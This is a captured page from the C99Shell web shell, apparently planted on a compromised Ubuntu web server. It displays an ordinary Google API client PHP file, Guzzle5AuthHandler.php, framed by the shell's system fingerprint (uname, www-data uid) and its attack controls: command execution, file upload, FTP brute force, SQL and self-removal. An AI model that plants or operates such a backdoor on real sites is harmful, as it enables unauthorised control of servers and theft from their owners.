!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/google/apiclient/src/AuthHandler/   drwxr-xr-x
Free 13.2 GB of 57.97 GB (22.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Guzzle5AuthHandler.php (2.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Google\AuthHandler;

use 
Google\Auth\CredentialsLoader;
use 
Google\Auth\HttpHandler\HttpHandlerFactory;
use 
Google\Auth\FetchAuthTokenCache;
use 
Google\Auth\Subscriber\AuthTokenSubscriber;
use 
Google\Auth\Subscriber\ScopedAccessTokenSubscriber;
use 
Google\Auth\Subscriber\SimpleSubscriber;
use 
GuzzleHttp\Client;
use 
GuzzleHttp\ClientInterface;
use 
Psr\Cache\CacheItemPoolInterface;

/**
*
*/
class Guzzle5AuthHandler
{
  protected 
$cache;
  protected 
$cacheConfig;

  public function 
__construct(CacheItemPoolInterface $cache null, array $cacheConfig = [])
  {
    
$this->cache $cache;
    
$this->cacheConfig $cacheConfig;
  }

  public function 
attachCredentials(
      
ClientInterface $http,
      
CredentialsLoader $credentials,
      callable 
$tokenCallback null
  
) {
    
// use the provided cache
    
if ($this->cache) {
      
$credentials = new FetchAuthTokenCache(
          
$credentials,
          
$this->cacheConfig,
          
$this->cache
      
);
    }

    return 
$this->attachCredentialsCache($http$credentials$tokenCallback);
  }

  public function 
attachCredentialsCache(
      
ClientInterface $http,
      
FetchAuthTokenCache $credentials,
      callable 
$tokenCallback null
  
) {
    
// if we end up needing to make an HTTP request to retrieve credentials, we
    // can use our existing one, but we need to throw exceptions so the error
    // bubbles up.
    
$authHttp $this->createAuthHttp($http);
    
$authHttpHandler HttpHandlerFactory::build($authHttp);
    
$subscriber = new AuthTokenSubscriber(
        
$credentials,
        
$authHttpHandler,
        
$tokenCallback
    
);

    
$http->setDefaultOption('auth''google_auth');
    
$http->getEmitter()->attach($subscriber);

    return 
$http;
  }

  public function 
attachToken(ClientInterface $http, array $token, array $scopes)
  {
    
$tokenFunc = function ($scopes) use ($token) {
      return 
$token['access_token'];
    };

    
$subscriber = new ScopedAccessTokenSubscriber(
        
$tokenFunc,
        
$scopes,
        
$this->cacheConfig,
        
$this->cache
    
);

    
$http->setDefaultOption('auth''scoped');
    
$http->getEmitter()->attach($subscriber);

    return 
$http;
  }

  public function 
attachKey(ClientInterface $http$key)
  {
    
$subscriber = new SimpleSubscriber(['key' => $key]);

    
$http->setDefaultOption('auth''simple');
    
$http->getEmitter()->attach($subscriber);

    return 
$http;
  }

  private function 
createAuthHttp(ClientInterface $http)
  {
    return new 
Client(
        [
          
'base_url' => $http->getBaseUrl(),
          
'defaults' => [
            
'exceptions' => true,
            
'verify' => $http->getDefaultOption('verify'),
            
'proxy' => $http->getDefaultOption('proxy'),
          ]
        ]
    );
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--